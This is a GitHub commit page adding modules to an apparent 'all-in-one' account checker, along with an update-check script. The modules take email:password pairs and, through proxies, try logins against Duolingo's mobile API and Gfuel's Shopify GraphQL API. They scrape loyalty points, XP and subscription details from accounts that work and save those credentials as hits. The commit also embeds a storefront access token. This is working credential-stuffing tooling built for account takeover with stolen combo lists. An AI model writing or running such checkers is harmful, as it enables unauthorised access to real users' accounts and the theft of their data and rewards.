This repository has been archived by the owner on Feb 23, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 63
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
174 additions
and
16 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
from __main__ import checker | ||
from modules.functions import set_proxy,log,save | ||
from requests import post | ||
from json import dumps | ||
|
||
def check(email:str,password:str): | ||
retries = 0 | ||
while retries != checker.retries: | ||
proxy = set_proxy() | ||
header = {"Content-Type":"application/json","UserAgent":"DuolingoMobile/6.14.1 (iPhone; iOS 12.0.1; Scale/2.00)"} | ||
data = dumps({"password":password,"identifier":email,"fields":"_achievements,adsConfig{units},bio,coachOutfit,courses{authorId,healthEnabled,fromLanguage,id,learningLanguage,placementTestAvailable,title,xp},creationDate,currencyRewardBundles,currentCourse{authorId,checkpointTests,healthEnabled,extraCrowns,fluency,fromLanguage,id,learningLanguage,placementTestAvailable,progressQuizHistory,progressVersion,skills{accessible,bonus,conversations,explanation,finishedLessons,finishedLevels,iconId,id,indicatingNewContent,lessons,levels,name,progressRemaining,shortName,strength,urlName},sections,smartTips,status,title,trackingProperties,xp},email,enableMicrophone,enableSoundEffects,enableSpeaker,experiments,facebookId,fromLanguage,gems,gemsConfig,googleId,health,id,inviteURL,joinedClassroomIds,learningLanguage,lingots,location,motivation,name,observedClassroomIds,optionalFeatures,persistentNotifications,phoneNumber,picture,plusDiscounts,practiceReminderSettings,privacySettings,pushClubs,pushLeaderboards,requiresParentalConsent,referralInfo,roles,shopItems{id,purchaseDate,purchasePrice,subscriptionInfo{renewer},wagerDay},streakData,timezone,timezoneOffset,totalXp,trackingProperties,username,weeklyXp,xpConfig,xpGains{time, xp},zhTw","distinctId":"EE2C72B5-A05E-42F9-9C09-928DEF7C4BF2"}) | ||
try: | ||
a = post("https://ios-api-2.duolingo.com/2017-06-30/login",data=data,headers=header,proxies=set_proxy(proxy),timeout=checker.timeout) | ||
if a.text == "{}": | ||
retries += 1 | ||
elif "lingots" in a.text: | ||
data = a.json() | ||
crowns = data["currentCourse"]["trackingProperties"]["total_crowns"] | ||
lingots = data["trackingProperties"]["lingots"] | ||
xp = data["totalXp"] | ||
if not checker.cui: | ||
log("good",email+":"+password,"Duolingo") | ||
save("Duolingo","good",checker.time,email+":"+password+f" | Crowns: {crowns} | Lingots: {lingots} | XP: {xp}") | ||
checker.good += 1 | ||
checker.cpm += 1 | ||
return | ||
else: | ||
raise | ||
except: | ||
checker.errors += 1 | ||
if not checker.cui: | ||
log("bad",email+":"+password,"Duolingo") | ||
checker.bad += 1 | ||
checker.cpm += 1 | ||
return |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
from __main__ import checker | ||
from modules.functions import set_proxy, log, save | ||
from requests import Session | ||
from base64 import b64decode | ||
|
||
def check(email:str,password:str): | ||
retries = 0 | ||
while retries != checker.retries: | ||
proxy = set_proxy() | ||
header = { | ||
"Host": "gfuel.com" , | ||
"accept": "application/json" , | ||
"x-buy3-sdk-cache-key": "" , | ||
"x-buy3-sdk-cache-fetch-strategy": "NETWORK_FIRST" , | ||
"x-buy3-sdk-expire-timeout": "9223372036854775807" , | ||
"user-agent": "Mobile Buy SDK Android/10.0.1/com.aeron.shopifycore.gfuel" , | ||
"x-sdk-version": "10.0.1" , | ||
"x-sdk-variant": "android" , | ||
"x-shopify-storefront-access-token": "21765aa7568fd627c44d68bde191f6c0", | ||
"Content-Type":"application/graphql; charset=utf-8" | ||
} | ||
try: | ||
with Session() as s: | ||
r = s.post("https://gfuel.com/api/2021-07/graphql",data="mutation {customerAccessTokenCreate(input:{email:\""+email+"\",password:\""+password+"\"}){customerAccessToken{accessToken,expiresAt},userErrors{field,message}}}",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout) | ||
if "customerAccessToken\":null" in r.text: | ||
retries += 1 | ||
elif "accessToken" in r.text: | ||
token = r.json()["data"]["customerAccessTokenCreate"]["customerAccessToken"]["accessToken"] | ||
|
||
r = s.post("https://gfuel.com/api/2021-07/graphql",data="query {customer(customerAccessToken:\""+token+"\"){createdAt,displayName,email,id,firstName,lastName,phone}}",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout).json() | ||
id = str(b64decode(r["data"]["customer"]["id"].encode()).decode()).split("gid://shopify/Customer/")[-1] | ||
|
||
r = s.get(f"https://loyalty.yotpo.com/api/v1/customer_details?customer_email={email}&customer_external_id={id}&customer_token={token}&merchant_id=33869",proxies=set_proxy(proxy),timeout=checker.timeout) | ||
if r.status_code == 403: | ||
raise | ||
else: | ||
r = r.json() | ||
xp = r.get("points_balance") | ||
if xp == None or int(xp) <= 19: | ||
if not checker.cui: | ||
log("custom",email+":"+password,"Gfuel") | ||
save("Gfuel","custom",checker.time,email+":"+password+f" | XP: {xp}") | ||
checker.custom += 1 | ||
checker.cpm += 1 | ||
return | ||
else: | ||
tier = r.get("vip_tier").get("name") | ||
subscribed = r.get("subscribed") | ||
if not checker.cui: | ||
log("good",email+":"+password,"Gfuel") | ||
save("Gfuel","good",checker.time,email+":"+password+f" | Subscribed: {subscribed} | Tier: {tier} | XP: {xp}") | ||
checker.good += 1 | ||
checker.cpm += 1 | ||
return | ||
else: | ||
raise | ||
except: | ||
checker.errors += 1 | ||
if not checker.cui: | ||
log("bad".email+":"+password,"Gfuel") | ||
checker.bad += 1 | ||
checker.cpm += 1 | ||
return |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
from console.utils import set_title | ||
from colorama import Fore,init | ||
from requests import get | ||
from time import sleep | ||
init(autoreset=True) | ||
red = Fore.RED | ||
cyan = Fore.CYAN | ||
reset = Fore.RESET | ||
|
||
def check(): | ||
set_title("Calani AIO | Checking For Updates | MickeyYe#0003") | ||
print(f" [{cyan}>{reset}] Checking for updates") | ||
try: | ||
v = get("https://raw.githubusercontent.com/Mickey758/Calani-AIO/master/version").text | ||
if v != "0.1.5-alpha": | ||
return True | ||
else: | ||
return True | ||
except: | ||
print(f" [{red}>{reset}] Could not connect to update server") | ||
sleep(2) | ||
return False |